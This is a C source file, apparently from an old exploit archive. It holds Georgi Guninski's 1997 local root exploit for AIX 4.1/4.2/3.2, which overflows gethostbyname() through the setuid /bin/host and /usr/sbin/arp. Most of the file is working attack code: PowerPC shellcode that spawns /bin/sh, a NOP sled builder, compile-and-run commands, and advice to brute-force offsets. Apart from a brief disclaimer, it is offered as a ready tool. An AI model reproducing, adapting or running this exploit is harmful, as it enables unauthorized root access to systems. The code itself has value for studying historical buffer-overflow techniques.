home *** CD-ROM | disk | FTP | other *** search
- /*
- AIX 4.1 ,4.2, 3.2 /bin/host and /usr/sbin/arp exploit by Georgi Guninski
- Version 1.1
-
- ----------------------------------------
- DISCLAIMER
-
- This program is for educational purpose ONLY. Do not use it without permission.
- The usual standard disclaimer applies, especially the fact that Georgi Guninski
- is not liable for any damages caused by direct or indirect use of
- the information or functionality provided by this program.
- Georgi Guninski or any Internet provider bears NO responsibility for content
- or misuse of this program or any derivatives thereof.
- By using this program you accept the fact that any damage (dataloss, system
- crash, system compromise, etc.) caused by the use of this program is not
- Georgi Guninski's responsibility.
- -----------------------------------------
- I wrote and tested this program on AIX 4.1 for PowerPC 601,604, Power2 and
- it started a root shell on a few machines. It exploits a buffer overflow in
- gethostbyname() (see IBM advisory) and the fact that /bin/host,/usr/sbin/arp are
- +s. Probably it may be modified to work with rlogin,ping,traceroute and others.
- Possibly this hole may be exploited remotely. IBM has released patch for the problem.
- It is reported that this works on AIX 4.2 and 3.2.
-
- I think the problem with the additional kludges is corrected, so the program
- should work without any arguments. But if you want to experiment the arguments
- are: string length (/4), offset (/4), full path of program.
-
-
- Use the IBM C compiler.
- Compile with: cc -g test.c
- Just try: ./a.out
- ./a.out 560 500 /usr/sbin/arp
- ./a.out 78 40 /bin/host
- If it does not work, you should run a shell script which brute forces the
- length (<=580) and offset (<legth-15) with /bin/host, /usr/sbin/arp or other
- setuid program.
- -----------------
- Georgi Guninski
- Email:
- guninski@hotmail.com
- sgg@vmei.acad.bg
- guninski@linux2.vmei.acad.bg
- Tel: +359 2 774104
-
- Suggestions,comments and offers are welcome!
- 11-Jan-97
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- /*Used for testing*/
-
- char prog[100]="/bin/host";
- char prog2[30]="host";
-
-
- void buggy(char *s)
- {
- char a[4];
- unsigned int junk[150];
- gethostbyname();
- }
- void sh2()
- {
- int junk[0x100];
- int s[2];
- int toc;
- int ctr;
- junk[0x100]=0x11;
- toc=0xf0192c48;
- ctr=0xd0024c0c;
- s[0]=0x2f62696e;
- s[1]=0x2f736800;
- execv(&s,0);
- }
- /*The program*/
- main(int argc,char **argv)
- {
- unsigned int junk[300];
- /*The code*/
- unsigned int code[]={
- 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
- 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
- 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
- 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
- 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
- 0x7c0903a6 , 0x4e800420, 0x0
- };
- /* disassembly
- 7c0802a6 mfspr r0,LR
- 9421fbb0 stu SP,-1104(SP) --get stack
- 90010458 st r0,1112(SP)
- 3c60f019 cau r3,r0,0xf019 --CTR
- 60632c48 lis r3,r3,11336 --CTR
- 90610440 st r3,1088(SP)
- 3c60d002 cau r3,r0,0xd002 --TOC
- 60634c0c lis r3,r3,19468 --TOC
- 90610444 st r3,1092(SP)
- 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
- 6063696e lis r3,r3,26990
- 90610438 st r3,1080(SP)
- 3c602f73 cau r3,r0,0x2f73
- 60636801 lis r3,r3,26625
- 3863ffff addi r3,r3,-1
- 9061043c st r3,1084(SP) --terminate with 0
- 30610438 lis r3,SP,1080
- 7c842278 xor r4,r4,r4 --argv=NULL
- 80410440 lwz RTOC,1088(SP)
- 80010444 lwz r0,1092(SP) --jump
- 7c0903a6 mtspr CTR,r0
- 4e800420 bctr --jump
- */
-
- #define MAXBUF 600
- unsigned int buf[MAXBUF];
- unsigned int i,nop,mn;
- int max;
-
- unsigned int toc;
- unsigned int eco;
- unsigned int *pt;
- int carry1=0;/*should remain 0*/
- int carry2=0;/*-"-*/
- char *t;
-
- pt=(unsigned *) &execv;
- toc=*(pt+1);
- eco=*pt;
- if (argc>1) max=atoi(argv[1]);
- if(max==0) max=78;
- mn=40;
- if(argc>2) mn=atoi(argv[2]);
-
- if(argc>3)
- { strncpy(prog,argv[3],100);
- t=strrchr(prog,'/');
- if(t) strncpy(prog2,++t,30);
-
-
- }
- if(argc>4) strncpy(prog2,argv[4],30);
-
- if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
- {
- puts("Bad parameters");
- exit(1);
- }
-
- #define OO 7
- *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
- *((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
- /*I think I corrected the problem. carry1,carry2 should be 0 */
- *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
- *((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
- #ifndef QUIET
- puts("Test AIX!");
- puts("Discovered and coded by Georgi G.");
- printf("TOC:%0x,CTR:%0x\n",toc,eco);
- printf("\n%p",&buf[nop]);
- #endif
- junk[50]=1;
- for(nop=0;nop<mn;nop++)
- buf[nop]=0x4ffffb82;/*nop*/
- strcpy((char*)&buf[nop],(char*)&code);
- i=nop+strlen( (char*) &code)/4-1;
- while(i++<max)
- {
- buf[i]=(unsigned) &buf[nop];
- }
- buf[i]=0;
-
- for(i=0;i<nop;i++)
- buf[i]=(unsigned)&buf[nop];
- for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
-
-
-
- if (argc<=7) {
- #ifndef QUIET
- puts("Start...");/*Here we go*/
- #endif
- i=execl(prog,prog2,(char*)&buf,0);
- }
- else
- {
- puts((char*)&buf);
- fflush(stdout);
- gethostbyname( (char*)&buf);
- }
- /*Bad*/
- printf("Error executing execl\n");
- /* Georgi Guninski
- guninski@hotmail.com
- sgg@vmei.acad.bg*/
- }